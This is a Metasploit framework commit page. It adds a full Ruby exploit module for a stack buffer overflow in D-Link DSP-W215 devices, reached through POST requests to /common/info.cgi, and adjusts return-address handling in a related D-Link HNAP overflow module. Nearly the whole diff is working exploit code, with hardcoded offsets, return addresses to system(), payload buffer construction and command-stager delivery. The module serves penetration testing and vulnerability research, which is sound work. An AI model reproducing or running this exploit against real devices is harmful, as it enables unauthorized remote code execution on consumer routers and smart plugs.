Skip to content

Commit 6de2be6

Browse files
committed
Land rapid7#3503, @m-1-k-3's exploit for DLink info.cgi bof OSVDB-108249
2 parents a7a700c + a356a0e commit 6de2be6

File tree

2 files changed

+136
-5
lines changed

2 files changed

+136
-5
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link info.cgi Buffer Overflow in POST Request',
17+
'Description' => %q{
18+
This module exploits an anonymous remote code execution vulnerability on different D-Link
19+
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
20+
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
21+
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
22+
environment.
23+
},
24+
'Author' =>
25+
[
26+
'Craig Heffner', # vulnerability discovery and initial PoC
27+
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'Platform' => 'linux',
31+
'Arch' => ARCH_MIPSBE,
32+
'References' =>
33+
[
34+
['OSVDB', '108249'],
35+
['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
36+
],
37+
'Targets' =>
38+
[
39+
#
40+
# Automatic targeting via fingerprinting
41+
#
42+
[ 'Automatic Targeting', { 'auto' => true } ],
43+
[ 'D-Link DSP-W215 - v1.02',
44+
{
45+
'Offset' => 477472,
46+
'Ret' => 0x405cec # jump to system - my_cgi.cgi
47+
}
48+
]
49+
],
50+
'DisclosureDate' => 'May 22 2014',
51+
'DefaultTarget' => 0))
52+
53+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
54+
end
55+
56+
def check
57+
begin
58+
res = send_request_cgi({
59+
'uri' => "/common/info.cgi",
60+
'method' => 'GET'
61+
})
62+
63+
if res && [200, 301, 302].include?(res.code)
64+
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
65+
@my_target = targets[1] if target['auto']
66+
return Exploit::CheckCode::Appears
67+
end
68+
69+
return Exploit::CheckCode::Detected
70+
end
71+
72+
rescue ::Rex::ConnectionError
73+
return Exploit::CheckCode::Safe
74+
end
75+
76+
Exploit::CheckCode::Unknown
77+
end
78+
79+
def exploit
80+
print_status("#{peer} - Trying to access the vulnerable URL...")
81+
82+
@my_target = target
83+
check_code = check
84+
85+
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
86+
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
87+
end
88+
89+
if @my_target.nil? || @my_target['auto']
90+
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
91+
end
92+
93+
print_status("#{peer} - Exploiting #{@my_target.name}...")
94+
execute_cmdstager(
95+
:flavor => :echo,
96+
:linemax => 185
97+
)
98+
end
99+
100+
def prepare_shellcode(cmd)
101+
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
102+
buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
103+
104+
# la $t9, system
105+
# la $s1, 0x440000
106+
# jalr $t9 ; system
107+
# addiu $a0, $sp, 0x28 # our command
108+
109+
buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28
110+
buf << cmd # Command to execute
111+
buf << "\x00" # NULL terminate the command
112+
end
113+
114+
def execute_command(cmd, opts)
115+
shellcode = prepare_shellcode(cmd)
116+
117+
begin
118+
res = send_request_cgi({
119+
'method' => 'POST',
120+
'uri' => "/common/info.cgi",
121+
'encode_params' => false,
122+
'vars_post' => {
123+
'storage_path' => shellcode,
124+
}
125+
}, 5)
126+
return res
127+
rescue ::Rex::ConnectionError
128+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
129+
end
130+
end
131+
end

modules/exploits/linux/http/dlink_hnap_bof.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -44,19 +44,19 @@ def initialize(info = {})
4444
[ 'D-Link DSP-W215 - v1.0',
4545
{
4646
'Offset' => 1000000,
47-
'Ret' => "\x00\x40\x5C\xAC", # jump to system - my_cgi.cgi
47+
'Ret' => 0x405cac, # jump to system - my_cgi.cgi
4848
}
4949
],
5050
[ 'D-Link DIR-505 - v1.06',
5151
{
5252
'Offset' => 30000,
53-
'Ret' => "\x00\x40\x52\x34", # jump to system - my_cgi.cgi
53+
'Ret' => 0x405234, # jump to system - my_cgi.cgi
5454
}
5555
],
5656
[ 'D-Link DIR-505 - v1.07',
5757
{
5858
'Offset' => 30000,
59-
'Ret' => "\x00\x40\x5C\x5C", # jump to system - my_cgi.cgi
59+
'Ret' => 0x405c5c, # jump to system - my_cgi.cgi
6060
}
6161
]
6262
],
@@ -116,13 +116,13 @@ def exploit
116116
end
117117

118118
def prepare_shellcode(cmd)
119-
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
119+
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
120120
buf << rand_text_alpha_upper(4) # $s0, don't care
121121
buf << rand_text_alpha_upper(4) # $s1, don't care
122122
buf << rand_text_alpha_upper(4) # $s2, don't care
123123
buf << rand_text_alpha_upper(4) # $s3, don't care
124124
buf << rand_text_alpha_upper(4) # $s4, don't care
125-
buf << @my_target['Ret'] # $ra
125+
buf << [@my_target.ret].pack("N") # $ra
126126

127127
# la $t9, system
128128
# la $s1, 0x440000

0 commit comments

Comments
 (0)